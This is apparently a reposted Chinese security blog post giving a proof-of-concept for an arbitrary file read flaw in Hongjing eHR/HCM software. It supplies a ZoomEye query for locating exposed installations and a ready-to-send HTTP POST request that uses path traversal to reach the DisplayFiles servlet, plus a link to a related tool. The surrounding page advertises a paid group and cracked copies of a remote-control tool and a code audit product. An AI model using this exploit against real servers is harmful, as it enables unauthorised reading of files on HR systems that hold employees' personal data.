![宏景eHR DisplayFiles 任意文件读取[附POC]](http://cn-sec.com/wp-content/uploads/2024/02/5-1708959888.gif "宏景eHR DisplayFiles 任意文件读取[附POC]")
公众号机制改变，不设为星标你就看不见棉花糖啦QAQ
![宏景eHR DisplayFiles 任意文件读取[附POC]](http://cn-sec.com/wp-content/uploads/2024/02/6-1708959888.png "宏景eHR DisplayFiles 任意文件读取[附POC]")
![宏景eHR DisplayFiles 任意文件读取[附POC]](http://cn-sec.com/wp-content/uploads/2024/02/6-1708959888.gif "宏景eHR DisplayFiles 任意文件读取[附POC]")
zoomeye语法
app:"宏景 HCM"![宏景eHR DisplayFiles 任意文件读取[附POC]](http://cn-sec.com/wp-content/uploads/2024/02/9-1708959889.png "宏景eHR DisplayFiles 任意文件读取[附POC]")
POC
POST /templates/attestation/../../servlet/DisplayFiles HTTP/1.1Host: your-ipUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36Content-Type: application/x-www-form-urlencodedfilepath=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT
![宏景eHR DisplayFiles 任意文件读取[附POC]](http://cn-sec.com/wp-content/uploads/2024/02/6-1708959890.png "宏景eHR DisplayFiles 任意文件读取[附POC]")
https://github.com/vaycore/HrmsTool![宏景eHR DisplayFiles 任意文件读取[附POC]](http://cn-sec.com/wp-content/uploads/2024/02/8-1708959891.png "宏景eHR DisplayFiles 任意文件读取[附POC]")
打个广告
棉花糖的付费群
内容超多超精彩哦~
👇有兴趣了解自己点开看吧👇
感谢您抽出
![宏景eHR DisplayFiles 任意文件读取[附POC]](http://cn-sec.com/wp-content/uploads/2024/02/5-1708959891.gif "宏景eHR DisplayFiles 任意文件读取[附POC]")
.
![宏景eHR DisplayFiles 任意文件读取[附POC]](http://cn-sec.com/wp-content/uploads/2024/02/2-1708959891.gif "宏景eHR DisplayFiles 任意文件读取[附POC]")
.
![宏景eHR DisplayFiles 任意文件读取[附POC]](http://cn-sec.com/wp-content/uploads/2024/02/10-1708959891.gif "宏景eHR DisplayFiles 任意文件读取[附POC]")
阅读本文
封面获取
本期封面
后台回复：0226封面
往期推荐
![宏景eHR DisplayFiles 任意文件读取[附POC]](http://cn-sec.com/wp-content/uploads/2024/02/5-1708959892.jpeg "宏景eHR DisplayFiles 任意文件读取[附POC]")
年度大瓜！15岁舔狗失恋传播大量公民隐私数据！
![宏景eHR DisplayFiles 任意文件读取[附POC]](http://cn-sec.com/wp-content/uploads/2024/02/9-1708959892.jpeg "宏景eHR DisplayFiles 任意文件读取[附POC]")
Pwn3更新Quantum破解版（远控工具）
![宏景eHR DisplayFiles 任意文件读取[附POC]](http://cn-sec.com/wp-content/uploads/2024/02/3-1708959892.jpeg "宏景eHR DisplayFiles 任意文件读取[附POC]")
Pwn3更新Sonarqube企业破解版（源代码审计工具）
![宏景eHR DisplayFiles 任意文件读取[附POC]](http://cn-sec.com/wp-content/uploads/2024/02/3-1708959892-1.jpeg "宏景eHR DisplayFiles 任意文件读取[附POC]")
原文始发于微信公众号（棉花糖网络安全圈）：宏景eHR DisplayFiles 任意文件读取[附POC]
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论